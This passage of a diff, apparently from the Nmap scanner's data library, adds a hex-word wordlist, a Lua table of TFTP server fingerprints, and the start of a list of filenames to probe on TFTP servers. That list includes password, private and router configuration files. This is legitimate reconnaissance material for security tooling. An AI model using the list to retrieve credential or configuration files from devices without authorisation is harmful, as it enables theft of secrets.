+7fc
+7fe
+a01
+a05
+a050
+a055
+a05a
+a070
+a07a
+a0a
+a0a0
+a0b
+a0ba
+a0c5
+a0e
+a10
+a10a
+a10d
+a10e
+a11
+a110
+a11077ed
+a11077ee
+a110ca7a
+a110ca7e
+a110d01a
+a110d01e
+a115
+a1157a7e
+a1157ee1
+a115eed5
+a11a
+a11c011ec7ed
+a11e
+a15
+a150
+a17
+a170
+a175
+a1757ad7
+a17a
+a17abaca
+a17e
+a17e55e5
+a1a
+a1a5
+a1abab1e
+a1abead0
+a1abeada
+a1ae
+a1b
+a1b0
+a1b5
+a1ba
+a1bace7e
+a1be
+a1bed0e5
+a1c
+a1c0
+a1c07a7e
+a1ca
+a1ca1ae0
+a1ca1aea
+a1ca1de5
+a1cab07a
+a1cab7ea
+a1caba1a
+a1cadafe
+a1ce
+a1d
+a1d0
+a1d01a5e
+a1da
+a1dabada
+a1e
+a1e5
+a1ea
+a1ec
+a1ee
+a1ef
+a1f
+a1fa
+a1fa1fa1
+a1fa1fa5
+a1fabe70
+a1fe
+a50
+a501eada
+a50b
+a50c
+a55
+a550
+a5501a70
+a5501a7a
+a5501a7e
+a550da70
+a550da7a
+a550da7e
+a555
+a557
+a55e
+a55e55e5
+a55e55ed
+a55e55ee
+a55e7a70
+a55e7a7a
+a55e7a7e
+a57
+a570
+a57a
+a5a
+a5a0
+a5a7
+a5b
+a5be5705
+a5c
+a5c0
+a5ca
+a5cc
+a5ce
+a5d
+a5df
+a5e
+a5e0
+a5e1
+a5e11a7e
+a5e7
+a5ea
+a5f0de10
+a70
+a701
+a70d
+a710
+a71a55e5
+a71e
+a75
+a77
+a770
+a77a
+a77ab1e5
+a77ab1ee
+a77c
+a77e
+a77e11e5
+a77e1ee5
+a77e57e5
+a77e57ed
+a77e57ee
+a7a
+a7a0
+a7a1
+a7a5c05a
+a7a5cad0
+a7a5cada
+a7a7
+a7acab1e
+a7ae
+a7b
+a7c
+a7c0
+a7da
+a7e
+a7e0
+a7e5
+a7e57ad0
+a7e57ada
+a7ea
+a7ed
+a7ef
+a7f
+aa0
+aa1
+aa15
+aa1e
+aa5
+aa5e
+aaa
+aaa1
+aaa5
+aaaa
+aada
+aae
+aaee
+aaf
+ab0
+ab011ad0
+ab011ada
+ab05
+ab1
+ab10e57e
+ab15
+ab1e
+ab1e77e5
+ab5
+ab57e117
+ab57e11e
+ab5a
+ab7
+ab7a57e7
+aba
+aba5
+aba7
+aba7ab1e
+abab
+abac
+abad
+abb
+abba
+abbe
+abbe55e5
+abbe57e117e5
+abc
+abc5
+abcd
+abd
+abe
+abe1
+abe1107a
+abe5
+abe5701a
+abe7
+abe77a15
+abec
+abed
+abfa11570ffe
+abfae117
+ac0
+ac01
+ac057ad0
+ac057ada
+ac0f
+ac1
+ac15
+ac1e
+ac5
+ac5e
+ac7
+ac75
+ac7a
+ac7e
+aca
+aca1
+aca5
+aca7ab1e
+acaa
+acabab1e
+acad
+acb
+acb1
+acc
+acc011ed
+acc011ee
+acc01ade
+acc01ee5
+acc057e5
+acc057ed
+acc057ee
+acc0da70
+acc0da7e
+acc5
+acc7
+acca
+acca5a70
+acca5a7a
+acca5a7e
+accab1e5
+accab1ee
+acce
+acce55e5
+acce55ed
+acceca70
+acceca7a
+acceca7e
+acd
+acda
+acdc
+ace
+ace5
+ace7
+ace70ace7a7e
+ace7a7e5
+ace7a7ed
+ace7ab1e
+acea
+aced
+acf
+ad0
+ad01e5ce
+ad05
+ad055ee5
+ad077a70
+ad077a7a
+ad077a7e
+ad0d
+ad5
+ad7
+ada
+ada0
+ada1
+ada7
+ada77a70
+ada77a7a
+ada77a7e
+adabe11e
+adad
+adb
+adc
+add
+add055ed
+add5
+adda
+addeb7ed
+ade
+ade1
+ade17e57
+ade7
+adee
+adf
+adfec7ed
+ae1
+ae17e57e
+ae5
+ae57
+ae5c
+ae7
+ae7a
+ae7e
+aea
+aec
+aed0
+aef
+aeff7e57
+af011ad0
+af011ada
+af1
+af5
+af5c
+af7
+af7a
+afa
+afa0
+afb
+afc
+afcc
+afd
+afe
+afec7ad0
+afec7ada
+aff
+aff01ee5
+aff1a7ed
+aff7
+affa
+affab1e5
+affe
+affec7e5
+affec7ed
+affec7ee
+affeeb1e
+b00
+b001
+b005
+b007
+b0071ace
+b0071e55
+b007ab1e
+b00b
+b00d
+b00f
+b01
+b010
+b010b010
+b010ba11
+b011
+b011e77a
+b011e77e
+b015
+b017
+b0171e55
+b01a
+b01d
+b01dface
+b01e
+b05
+b050b050
+b055
+b055e1e5
+b055e1ee
+b05ab05a
+b05c
+b05c0be1
+b05e
+b07
+b070
+b075
+b077
+b07a
+b07a5e1a
+b07e
+b0a
+b0a5
+b0a7
+b0a710ad
+b0a71e55
+b0a7ab1e
+b0ac
+b0b
+b0b0
+b0b5
+b0b51ed5
+b0ba
+b0bbe77e
+b0bf10a7
+b0c
+b0c57aff
+b0ca
+b0ce
+b0ce1e7e
+b0d
+b0d0
+b0d5
+b0da
+b0db
+b0dd
+b0de
+b0e
+b0e5e57e
+b0ee
+b0f
+b0f0
+b0fa
+b0fe
+b0fe7ada
+b0ff
+b0ff01a5
+b10
+b107
+b1071e55
+b10b
+b10c
+b10cca70
+b10cca7a
+b11
+b15
+b17
+b1a
+b1a0
+b1a5
+b1a570ff
+b1a57aea
+b1a5de11
+b1a7
+b1ab
+b1ad
+b1ade1e7
+b1ae
+b1d
+b1d5
+b1e
+b1e0
+b1e5
+b1e55ee5
+b1e7
+b1ea
+b1eb
+b1ed
+b1ee
+b1f
+b1fe
+b50
+b507
+b50c
+b51
+b515
+b55
+b555
+b55a
+b55c
+b55e
+b57
+b5a
+b5aa
+b5ae
+b5ba
+b5c
+b5ce
+b5d
+b5e
+b5e5
+b5ec
+b5ed
+b5ee
+b5f
+b5f5
+b5f7
+b70
+b701
+b71
+b75
+b7e
+ba0
+ba1
+ba107ada
+ba107ade
+ba11
+ba11077a
+ba11077e
+ba1107ed
+ba115aa1
+ba11a55e
+ba11a575
+ba11a57e
+ba11ade5
+ba11e57a
+ba15
+ba17
+ba1a
+ba1be770
+ba1be77a
+ba1d
+ba1e
+ba1e1e55
+ba1f
+ba5
+ba50
+ba55
+ba55e55e
+ba55e775
+ba55e77a
+ba55e77e
+ba55e7ed
+ba57
+ba57a55e
+ba57a57e
+ba57e17e
+ba57edad
+ba5a
+ba5a17e5
+ba5c
+ba5c07e5
+ba5e
+ba5e1e55
+ba5eba11
+ba5ec0a7
+ba5f
+ba7
+ba70
+ba75
+ba77
+ba77ab1e
+ba77e110
+ba77e11e
+ba77e1ed
+ba77e55e
+ba77e57e
+ba77e77e
+ba7a
+ba7aba7a
+ba7e
+ba7e7e1a
+baa
+baa1
+baa5
+baa7
+bab
+bab5
+baba
+babb
+babb0015
+babbe77e
+babe
+bac
+bac0
+bac5
+bac7
+baca
+baca11a0
+baca1a05
+baca1ada
+bacc
+bacca7ed
+bad
+bad0
+bad5
+bada
+bada55e5
+bada55ed
+badb
+bade
+bade7e57
+bae
+bae1
+baed
+baf0
+baf7
+baff
+bb1
+bb15
+bb5
+bba
+bbb
+bbc
+bc1
+bc5
+bcb5
+bcc
+bcd
+bce
+bcf
+bd1
+bd15
+bd1e
+bd5
+bd5a
+bd7
+bda
+bdc
+bdd
+bde
+bde5
+bdf
+bdf7
+be0
+be05
+be1
+be11
+be110770
+be111e55
+be117e57
+be15
+be17
+be171e55
+be1a
+be1ade57
+be1d
+be1e77e5
+be1eb7e5
+be1eb7e7
+be5
+be50
+be501de7
+be5077ed
+be50ffe7
+be55
+be57
+be575e11
+be57a77e
+be57ab1e
+be57ba11
+be57c1ad
+be57e11e
+be57ead5
+be5a
+be5a55e7
+be5ae55e
+be5e1ee1
+be7
+be75
+be77
+be77e157
+be7a
+be7a55e1
+be7a57e7
+be7abe7a
+be7e
+be7e7e57
+bea
+bea1
+bea7
+bea71e55
+bea7ab1e
+bea7bea7
+bead
+beb100d5
+beba11ed
+bebe
+bebe17ed
+bec
+bec5
+beca
+beca55e5
+bed
+bed077ed
+bed5
+bed57aff
+bed57ead
+bedabb1e
+beddab1e
+bede
+bee
+bee5
+bee7
+beeb
+beef
+beef1e55
+beefa105
+bef
+bef0
+bef001ed
+bef1eaed
+befa
+befa557e
+befae117
+bf5
+bf7
+bfa
+bfd
+bfdc
+c00
+c001
+c005
+c007
+c007f007
+c00e
+c00f
+c01
+c010
+c01055a1
+c01055ae
+c01055e5
+c010c010
+c010c01a
+c010ca7e
+c011
+c0110ca1
+c011a1ba
+c011a550
+c011a7e5
+c011a7ed
+c011a7ee
+c011ada5
+c011e770
+c011e77e
+c011e7e5
+c011e7ed
+c011ec75
+c011ec7a
+c011ec7ab1e5
+c011ec7c
+c011ec7e
+c015
+c0157aff
+c017
+c017e110
+c01a
+c01b
+c01d
+c01e
+c01e55ee
+c01e5eed
+c01ed0c0
+c05
+c050
+c055
+c055e77e
+c055e7ed
+c057
+c0571e55
+c057a55e
+c057a57e
+c057a7ed
+c057e110
+c05a
+c05e
+c05e1e7e
+c05e7ada
+c07
+c070
+c070be10
+c075
+c075e71a
+c075e71e
+c077
+c07a
+c07ab1e5
+c07aba70
+c07e
+c07e1ee5
+c0a
+c0a1
+c0a11e55
+c0a1da1e
+c0a1e5ce
+c0a1face
+c0a7
+c0a71e55
+c0a77e57
+c0ac
+c0ad
+c0ae
+c0b
+c0b0
+c0b5
+c0ba
+c0bb
+c0be
+c0c
+c0c0
+c0c077e5
+c0c0b010
+c0c0b01a
+c0c7
+c0ca
+c0ca55e5
+c0cac01a
+c0ce
+c0d
+c0d0
+c0d5
+c0da
+c0dd
+c0de
+c0de1e55
+c0de77a5
+c0e
+c0e1
+c0e5
+c0e57a7e
+c0ed
+c0ef
+c0effec7
+c0f7
+c0fa
+c0facee5
+c0ff
+c10
+c105
+c105ab1e
+c105e5e7
+c105e7ed
+c107
+c10d
+c10e
+c10f
+c15
+c1a55ee5
+c1a7
+c1ac
+c1ad
+c1ad0de5
+c1e
+c1e0
+c1e0de11
+c1e5
+c1ea
+c1ed
+c1ee
+c1ef
+c50
+c50c
+c51
+c55
+c57
+c57c
+c5a
+c5ab
+c5b
+c5c
+c5d
+c5dc
+c5e
+c5e1
+c5f
+c70
+c75
+c755
+c77
+c77c
+c7a
+c7c
+c7d
+c7e
+c7e1e77e
+c7f
+ca0
+ca05
+ca1
+ca10
+ca1077e5
+ca11
+ca1105a1
+ca1105e5
+ca11a100
+ca11ab1e
+ca15
+ca1a
+ca1afa7e
+ca1b07e5
+ca1c
+ca1cea7e
+ca1e
+ca1f
+ca1f1e55
+ca5
+ca50
+ca55
+ca55a7a5
+ca55a7e5
+ca55ab1e
+ca55aba5
+ca55e11a
+ca55e770
+ca55e77a
+ca55e77e
+ca57
+ca570ff5
+ca57a01a
+ca57ab1e
+ca57ae7a
+ca57ae7e
+ca57aed0
+ca57aeda
+ca57e110
+ca57e11a
+ca57e1e7
+ca5a
+ca5ca1b0
+ca5cab1e
+ca5cabe1
+ca5cade5
+ca5caded
+ca5e
+ca5e05e5
+ca5e10ad
+ca5e1e55
+ca5e77e5
+ca5ea5e5
+ca5ea7e5
+ca5ea7ed
+ca7
+ca70
+ca70ca1a
+ca75
+ca75f007
+ca75fee7
+ca77
+ca77a105
+ca7a
+ca7a10e5
+ca7a1a5e
+ca7b0a75
+ca7ca115
+ca7e
+ca7fa115
+ca7face5
+ca7faced
+caa
+caa1
+cab
+cab0
+cab005e5
+cab00d1e
+cab055e5
+cab055ed
+cab055ee
+cab0c105
+cab5
+caba
+caba1105
+caba11ed
+caba55e7
+cabba1a5
+cabe
+cac
+cac0
+cac7a1e5
+cac7ace0
+cac7acea
+caca
+caca07a1
+caca07e5
+caca07ee
+caca107e
+caca70e5
+cace
+cad
+cad0
+cad5
+cada
+cadd
+cadde55e
+cade
+cade11e5
+cade77e5
+cade7ada
+cae
+caf
+cafe
+caff
+caffea7e
+cb5
+cbc
+cbd
+cbd5
+cbe
+cbe1
+cc1
+cc15
+cc5
+cc5a
+cc7
+cc7a
+cca
+ccc
+ccd
+ccd5
+ccf
+cd0
+cd5
+cd5f
+cd7
+cda
+cdb
+cdc
+cdcf
+cdf
+ce0
+ce10
+ce11
+ce11a7ed
+ce11e51a
+ce15
+ce17
+ce1a
+ce1e
+ce1e57a5
+ce1e57e5
+ce5
+ce50
+ce55
+ce55a55e
+ce55a57e
+ce57
+ce570de5
+ce5e
+ce7
+ce70
+ce7a
+ce7e
+cea
+ceb
+ceb0
+ceba
+cec
+ceca
+cece
+ced
+ced0
+ceda
+cede
+cee
+cee5
+cef
+cef0
+cf0
+cf1
+cf5
+cfa
+cfb
+cfc
+cfca
+cfd
+cfe
+cff
+d00
+d001
+d00b
+d00fe57e
+d01
+d010
+d011
+d011face
+d015
+d017
+d01a
+d01e
+d01f
+d05
+d050
+d055
+d057
+d05a
+d05e
+d05e1e7e
+d07
+d070
+d075
+d077
+d07a
+d07aba7a
+d07e
+d0a
+d0a7
+d0ab
+d0b
+d0b1
+d0bb
+d0be
+d0c
+d0c5
+d0ca
+d0ce
+d0d
+d0d0
+d0d5
+d0dd
+d0de
+d0decade
+d0e
+d0e5
+d0ff
+d10
+d11
+d15
+d1a
+d1c
+d1e
+d50
+d55
+d57
+d5a
+d5ab
+d5c
+d5c5
+d5d
+d5dc
+d5e
+d5ee
+d71
+d75
+d755
+d7a5
+d7b
+d7c
+d7d
+d7e
+d7f
+da0
+da1
+da11
+da15
+da17
+da1a
+da1e
+da1f
+da5
+da55
+da55e1be
+da5a
+da5d
+da5e
+da5e1b57
+da7
+da70
+da7a
+da7a5e75
+da7ab1e5
+da7aba5e
+da7ace11
+da7e
+da7e1e55
+da7eab1e
+dab
+dab0dab0
+dab5
+daba
+dabb
+dabe
+dac
+dac5
+daca
+dace
+dad
+dad0
+dad5
+dada
+dade
+dae
+dae1
+daeda1ea
+daf7
+daff
+db0
+db1
+db5
+dba
+dba5
+dbac
+dbe
+dbf
+dc0
+dc1
+dc5
+dc7
+dc75
+dca
+dcb
+dcc
+dcc0
+dcc5
+dcd
+dce
+dd1
+dd5
+dd5c
+dd7
+dda
+dda5
+ddb
+ddc
+ddd
+dde
+de0
+de1
+de11
+de15
+de1a
+de1a55e5
+de1a55ee
+de1ca55e
+de1e
+de1e57e5
+de1e57ee
+de1eaded
+de1ec7e5
+de1ec7ee
+de1f
+de5
+de501a7e
+de501ee5
+de505ada
+de55
+de57a55e
+de57a57e
+de57e110
+de5a17ed
+de5a1ad0
+de5a1ada
+de5a5ad0
+de5a5ada
+de5ac070
+de5aca70
+de5affec7ee5
+de5ba57e
+de5baad0
+de5c
+de5ca1ce
+de5ca1ed
+de5caba1
+de5cabe11ad0
+de5cabe11ada
+de5de050
+de5de05a
+de5dead0
+de5deada
+de5e
+de5e1ec7
+de5eab1e
+de5eca7e
+de5fa1c0
+de7
+de70
+de77
+de77a55e
+de77a57e
+de7a
+de7a55e1
+de7d
+de7e11e5
+de7e1ee5
+de7e57e5
+de7e57ed
+de7e57ee
+de7ec7e5
+de7ec7ed
+de7ec7ee
+dea
+dea1
+dea1a7e5
+dea1a7ed
+dea1ab1e
+dea1ba7e
+dea5
+dea7
+dead
+dead1eaf
+dead50f7
+deadb017
+deadbea7
+deadc01d
+deadf1a7
+deadfa11
+deadface
+deae
+deaf
+deb
+deb0
+deb5
+deb7
+deb71e55
+deba
+deba11e5
+deba11ee
+deba77e5
+debac1e5
+debe
+dec
+dec0
+dec011e5
+dec011ee
+dec07ee5
+dec0c7ed
+dec1
+dec1a55a
+dec1a55e
+deca
+deca1ee5
+deca57e11a7e
+decd
+dece1ee5
+decea5e5
+decea5ed
+decedee5
+ded
+ded0
+deda
+dedd
+dede
+dee
+dee5
+dee7
+deed
+deed1e55
+deedb07e
+def
+def1a7e5
+def1a7ed
+def1e770
+def1e77a
+def1e77e
+def1eaed
+def1ec75
+def5
+def7
+defa55e5
+defa77ed
+defea7ed
+defea7ee
+defec7ed
+defeca7e
+df5
+df7
+dfa
+dfc
+dfd
+dfe
+e01
+e01a
+e01e
+e05
+e07
+e077
+e0d
+e0e
+e0f
+e10
+e10d
+e11
+e110
+e115
+e11a
+e11abe11
+e11e
+e15
+e15a
+e15e
+e17
+e1a
+e1a0
+e1a5
+e1a5705e
+e1a57a5e
+e1a7
+e1b
+e1b1
+e1ba
+e1be
+e1c
+e1c0
+e1d
+e1d0
+e1d5
+e1da
+e1e
+e1ea
+e1ec
+e1ec7ee5
+e1f
+e1f0
+e1fe
+e50
+e505
+e51
+e55
+e550
+e557
+e55a
+e55e
+e57
+e570
+e570cada
+e570cade
+e570fad0
+e570fada
+e57a
+e57acad0
+e57acada
+e57acade
+e57afe7a
+e57e
+e57e11e5
+e57e1ad0
+e5a
+e5a17a70
+e5a17a7a
+e5a17a7e
+e5a5
+e5ac
+e5b
+e5c
+e5c0
+e5c07ad0
+e5c07ada
+e5c0bad0
+e5c0bada
+e5c0be7a
+e5c0bed0
+e5c0ce5a
+e5ca
+e5ca1a7e
+e5ca1ad0
+e5ca1ada
+e5ca1ade
+e5ca1e7a
+e5cabe10
+e5cacad0
+e5cacada
+e5ce
+e5d
+e5e
+e5e5
+e5f
+e5face10
+e70
+e70ffee5
+e71
+e71a
+e75
+e770
+e77a
+e77e
+e7a
+e7a1
+e7a5
+e7a7
+e7c
+e7d
+e7e
+e7e0c1e5
+e7e5
+e7f
+e7fd
+ea1
+ea5
+ea57
+ea5d
+ea5e
+ea5e1e55
+ea7
+ea75
+ea7ab1e5
+eaa
+ead
+ead5
+eada
+eade
+eae0
+eafb
+eb0e
+eb5
+eba
+eba7
+ebb
+ebb5
+ebba
+ebcd
+ec0
+ec01
+ec057a7e
+ec07
+ec0d
+ec1
+ec1a
+ec1a7ee5
+ec5
+ec5a
+ec5c
+ec7
+ec70
+eca
+ecad
+ecb
+ecc
+ecc0
+ecc1
+ecc5
+ecca
+ecce
+eccede7e
+ecd
+ecd0
+ece
+ecf
+ed0
+ed1a
+ed1e
+ed5
+ed7
+ed7a
+eda
+edac
+edad
+edb
+edc
+edd
+edd0
+edda
+ede
+ede1
+ede5
+edea
+edee
+edf
+ee0
+ee0c
+ee1
+ee15
+ee70
+eec
+eec7
+eee
+ef0
+ef0d
+ef1
+ef5
+ef7
+ef75
+ef7a
+efd
+efe
+eff
+eff5
+effacee5
+effec7ed
+f00
+f001
+f001ab1e
+f001b01d
+f007
+f0071e55
+f007ba11
+f007bea7
+f007fa11
+f007feed
+f00d
+f00d1e55
+f01
+f011
+f01105a5
+f011e770
+f01a
+f01d
+f01d1e55
+f01dab1e
+f01db0a7
+f01e
+f05
+f050
+f055
+f055e77e
+f05a
+f05e
+f07
+f070
+f070f0b0
+f070f0ba
+f0a
+f0a1
+f0a1f007
+f0ac
+f0b
+f0b5
+f0c
+f0c0
+f0c5
+f0ca
+f0ce
+f0d
+f0d0
+f0e
+f0e5
+f0f0
+f0fa
+f10
+f100d1e7
+f107
+f1077ee5
+f107ab1e
+f10a7e15
+f10b
+f10c
+f10cc05e
+f10e
+f10e557e
+f10e7e57
+f11
+f15
+f155
+f17
+f1a
+f1a7
+f1a71e75
+f1a77e57
+f1a77ee5
+f1a7b0a7
+f1a7bed5
+f1a7e77e
+f1a7f007
+f1a7f01d
+f1a7fee7
+f1ab
+f1abe11a
+f1b
+f1d
+f1e0
+f1e7
+f1ea
+f1ea5eed
+f1ed
+f1ee
+f1ee7e57
+f55
+f5a
+f5d0
+f5e
+f5f
+f71
+f71b
+f75
+f7c
+f7e
+fa0
+fa10
+fa11
+fa110b57
+fa110ff5
+fa15
+fa157aff
+fa15e770
+fa15edad
+fa17b007
+fa17b0a7
+fa1a
+fa1b
+fa1ba1a5
+fa1ca7ed
+fa1de77a
+fa5
+fa50
+fa55
+fa57
+fa57ba11
+fa57e7e7
+fa5c
+fa5e
+fa7
+fa70
+fa75
+fa77ab1e
+fa7a
+fa7a157e
+fa7a55ed
+fa7e
+fa7faced
+faa
+fab
+fab0
+fab1ab1e
+faba
+fabaceae
+fabe
+fac
+fac5
+fac7
+fac7ab1e
+faca
+facd
+face
+face1e55
+face77e5
+face77ed
+faceab1e
+fad
+fad0
+fad5
+fada
+fade
+fade1e55
+fade57e5
+fae
+fae117e7
+faff
+fb0
+fba
+fc0
+fc5
+fc7
+fca
+fcc
+fcf5
+fda
+fe0
+fe0d
+fe0da1e5
+fe0ffee5
+fe10de5e
+fe11
+fe11a7e5
+fe11a7ed
+fe11a7ee
+fe11ab1e
+fe15
+fe17
+fe1a
+fe1d
+fe1e
+fe50
+fe55
+fe55e17e
+fe57
+fe575aa1
+fe57e57e
+fe5a
+fe5e
+fe7
+fe70
+fe75
+fe77
+fe77e57e
+fe7a
+fe7e
+fe7e1e55
+fea
+fea1
+fea7
+fea71e55
+feaf
+feb
+feb0
+feb1edad
+febe
+fec
+fece
+fed
+fed5
+fede
+fee
+fee1
+fee1ab1e
+fee5
+fee7
+fee71e55
+feeb
+feeb1e55
+feeb1e57
+feed
+feed1075
+feedab1e
+feff
+ff5
+ff7
+ffa
+ffc
diff --git a/nselib/data/tftp-fingerprints.lua b/nselib/data/tftp-fingerprints.lua
new file mode 100644
index 0000000..23aa5d7
--- /dev/null
+++ b/nselib/data/tftp-fingerprints.lua
@@ -0,0 +1,146 @@
+--[[
+This is compiled list of known TFTP responses.
+]]
+
+author = {"Mak Kolybabi <mak@kolybabi.com>"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+-- Fingerprints by opcode
+fingerprints = {
+
+--------------------------------------------------------------------------------
+-- Example Fingerprint
+--------------------------------------------------------------------------------
+-- Based on the format of the 'match' directive used in service probes.
+-- https://nmap.org/book/vscan-fileformat.html#vscan-tbl-versioninfo
+--------------------------------------------------------------------------------
+-- {
+-- -- Optional:
+-- rport = REMOTE_PORT_NUMBER, -- some software uses same port, some uses a data port
+-- length = number, -- length of entire TFTP packet
+-- errcode = TFTP_ERRCODE, -- also interpreted as DATA.block
+-- -- Very unlikely, response is a RRQ or WRQ
+-- mode = "mode",
+-- -- Mandatory:
+-- errmsg = "TFTP_ERRMSG", -- also interpreted as DATA.data or RRQ/WRQ.filename
+-- product = {
+-- p = "Product",
+-- v = "Version",
+-- i = "Extra Info",
+-- h = "Hostname",
+-- o = "Operating System",
+-- d = "Device Type",
+-- cpe = {"CPE", ...},
+-- }}
+
+-- opcode RRQ
+[1] = {},
+-- opcode WRQ
+[2] = {},
+-- opcode DATA
+[3] = {},
+-- opcode ACK
+[4] = {},
+-- opcode ERROR
+[5] = {
+ -- SolarWinds
+ { errcode = 2, errmsg = "The IP address is not in the range of allowable addresses.",
+ product = {
+ p = "SolarWinds tftpd",
+ e = "IP disallowed",
+ o = "Windows",
+ cpe = {"cpe:/a:solarwinds:tftp_server", "cpe:/o:microsoft:windows"},
+ }},
+
+ -- Cisco
+ { errcode = 0, errmsg = "Invalid TFTP Opcode",
+ product = {
+ p = "Cisco tftpd",
+ cpe = {"cpe:/a:cisco:tftp_server"},
+ }},
+
+ -- Plan 9
+ { errcode = 4, errmsg = "Illegal TFTP operation",
+ product = {
+ p = "Plan 9 tftpd",
+ o = "Plan 9",
+ cpe = {"cpe:/o:belllabs:plan_9"},
+ }},
+
+ -- Zoom X5 ADSL Modem
+ { errcode = 4, errmsg = "Error: Illegal TFTP Operation",
+ product = {
+ p = "Zoom X5 ADSL modem tftpd",
+ d = "broadband router",
+ cpe = {"cpe:/h:zoom:x5"},
+ }},
+
+ -- Cisco Router
+ { errcode = 4, errmsg = "Illegal operation",
+ product = {
+ p = "Cisco router tftpd",
+ o = "IOS",
+ d = "router",
+ cpe = {"cpe:/a:cisco:tftp_server", "cpe:/o:cisco:ios"},
+ }},
+
+ -- Microsoft Windows Deployment Services
+ { errcode = 4, errmsg = "Illegal operation error.",
+ product = {
+ p = "Microsoft Windows Deployment Services tftpd",
+ o = "Windows",
+ cpe = {"cpe:/o:microsoft:windows"},
+ }},
+
+ -- SolarWinds Free
+ { errcode = 4, errmsg = "Unknown operatation code: 0 received from",
+ product = {
+ p = "SolarWinds Free tftpd",
+ cpe = {"cpe:/a:solarwinds:tftp_server"},
+ }},
+
+ { errcode = 4, errmsg = "Could not find file '",
+ product = {
+ p = "SolarWinds Free tftpd",
+ cpe = {"cpe:/a:solarwinds:tftp_server"},
+ }},
+
+ -- Brother MFC-9340CDW
+ { errcode = 4, errmsg = "illegal (unrecognized) tftp operation",
+ product = {
+ p = "Brother printer tftpd",
+ d = "printer",
+ }},
+
+ -- HP Intelligent Management Center
+ { errcode = 0, errmsg = "Not defined, see error message(if any).",
+ product = {
+ p = "HP Intelligent Management Center tftpd",
+ cpe = {"cpe:/a:hp:intelligent_management_center"},
+ }},
+
+ -- Windows 2003 Server Deployment Service
+ { errcode = 4, errmsg = "Illegal TFTP operation",
+ product = {
+ p = "Windows 2003 Server Deployment Service",
+ o = "Windows",
+ cpe = {"cpe:/o:microsoft:windows_server_2003"},
+ }},
+
+ -- Enistic Zone Controller
+ { errcode = 1, errmsg = "File not found.",
+ product = {
+ p = "Enistic zone controller tftpd",
+ }},
+
+ -- Netkit
+ { errcode = 1, errmsg = "File not found",
+ product = {
+ p = "Netkit tftpd or atftpd",
+ cpe = {"cpe:/a:netkit:netkit", "cpe:/a:lefebvre:atftpd"},
+ }},
+},
+
+}
+
+return fingerprints
diff --git a/nselib/data/tftplist.txt b/nselib/data/tftplist.txt
new file mode 100644
index 0000000..3680fbb
--- /dev/null
+++ b/nselib/data/tftplist.txt
@@ -0,0 +1,255 @@
+000000000000-directory.xml
+{mac}-directory.xml
+000000000000-directory~.xml
+000000000000-phone.cfg
+{mac}-phone.cfg
+000000000000.cfg
+{mac}.cfg
+256T.CM
+323tosip1_1.bin
+4601_02_readme_R2_3.txt
+4601dbte1_82.bin
+4602_02SWSIPreadme_R1_1.txt
+4602dbte1_82.bin
+4602sbte1_82.bin
+4610_20_readme_R2_3.txt
+4610_20_readme_SIP_R2_2.txt
+4624_12_06readme_1_8_3.txt
+4625_readme_2_5.txt
+4690_010707.bin
+4690_readme_1_7_7.txt
+46xxreadme_111405.txt
+46xxsettings.txt
+46xxupgrade.scr
+6100-113.bin
+7200-118.bin
+CFE.bin
+CP7912010301SIP050608A.sbin
+CP7905010301SIP050608A.sbin
+H323.cfg
+OS79XX.TXT
+P003-07-5-00.bin
+P003-07-5-00.sbn
+P003-08-11-00.bin
+P003-08-11-00.sbn
+P003-08-2-00.bin
+P003-08-2-00.sbn
+P003-08-3-00.bin
+P003-08-3-00.sbn
+P003-08-6-00.bin
+P003-08-6-00.sbn
+P003-08-9-00.bin
+P003-08-9-00.sbn
+P003-8-12-00.bin
+P003-8-12-00.sbn
+P0S3-07-5-00.bin
+P0S3-07-5-00.loads
+P0S3-07-5-00.sb2
+P0S3-08-11-00.loads
+P0S3-08-11-00.sb2
+P0S3-08-2-00.loads
+P0S3-08-2-00.sb2
+P0S3-08-3-00.loads
+P0S3-08-3-00.sb2
+P0S3-08-6-00.loads
+P0S3-08-6-00.sb2
+P0S3-08-9-00.loads
+P0S3-08-9-00.sb2
+P0S3-8-12-00.loads
+P0S3-8-12-00.sb2
+RINGLIST.DAT
+SEP{MAC}.cnf
+SEPDefault.cnf
+SIP{MAC}.cnf
+SIPDefault.cnf
+SoundPointIPLocalization
+SoundPointIPWelcome.wav
+TECfg.bin
+TEImage.bin
+XMLDefault.cnf.xml
+a01d01b2_3.bin
+a02d01b2_3.bin
+a10d01b2_3.bin
+a20d01a2_3.bin
+a20d01b2_3.bin
+a25d01a2_5.bin
+aastra.cfg
+active/system.ini
+admin-confg
+admin-config
+admin.bin
+admin.cfg
+administrator-config
+administrator.bin
+administrator.cfg
+applications.cfg
+b01d01b2_3.bin
+b02d01b2_3.bin
+b10d01b2_3.bin
+b20d01a2_3.bin
+b20d01b2_3.bin
+b25d01a2_5.bin
+backup-config
+backup.bin
+backup.cfg
+backup.img
+bbla0_83.bin
+boot-config
+boot.bin
+boot.cfg
+boot.txt
+bootrom.ld
+bridge-confg
+cfg.bin
+{cisco}
+cisco-confg
+cisco_util
+cisconet.bin
+cisconet.cfg
+ciscortr.bin
+ciscortr.cfg
+code-config
+code.bin
+code.cfg
+code.img
+config.bin
+config.dump
+config.ini
+config.txt
+cvt01_2_3.bin
+cvt02_2_3.bin
+cvt02sw_2_3.bin
+debian.cfg
+def06r1_8_3.bin
+def24r1_8_3.bin
+default-config
+default.bin
+default.cfg
+default.ini
+device-config
+device.bin
+device.cfg
+dialplan.xml
+dump.dmc
+features.cfg
+firewall-nat.cfg
+firmware-config
+firmware.bin
+firmware.cfg
+firmware.img
+gateway-confg
+gkdefault.cfg
+gw-confg
+ifIndex-table
+image-config
+image.bin
+image.cfg
+image.eim
+image.out
+infrared.txt
+local-config
+local.bin
+local.cfg
+lync.cfg
+main-config
+main.bin
+main.cfg
+main.img
+merlin2.pcm
+myrouter-confg
+n831r0.bin
+n84r1.bin
+nir4113.bin
+nir539R4.bin
+passwd.bin
+passwd.cfg
+passwd.ini
+password.bin
+password.cfg
+password.ini
+persistent-data
+persistent.bin
+persistent.cfg
+phbook{mac}.txt
+phone1.cfg
+polycom.xml
+polycomConfig.xsd
+prestige
+prestige.bin
+prestige.cfg
+private-config
+private.bin
+private.cfg
+pstn.cfg
+public.bin
+public.cfg
+pwd.bin
+pwd.cfg
+pwd.ini
+pxelinux.0
+pxelinux.cfg/default
+ram
+ram-0
+ras
+ras-0
+ras-1
+ras0
+ras1
+reg-advanced.cfg
+reg-basic.cfg
+region.cfg
+release.xml
+remote-config
+remote.bin
+remote.cfg
+rom
+rom-0
+rom-1
+rom0
+rom1
+router-confg
+router.bin
+router.cfg
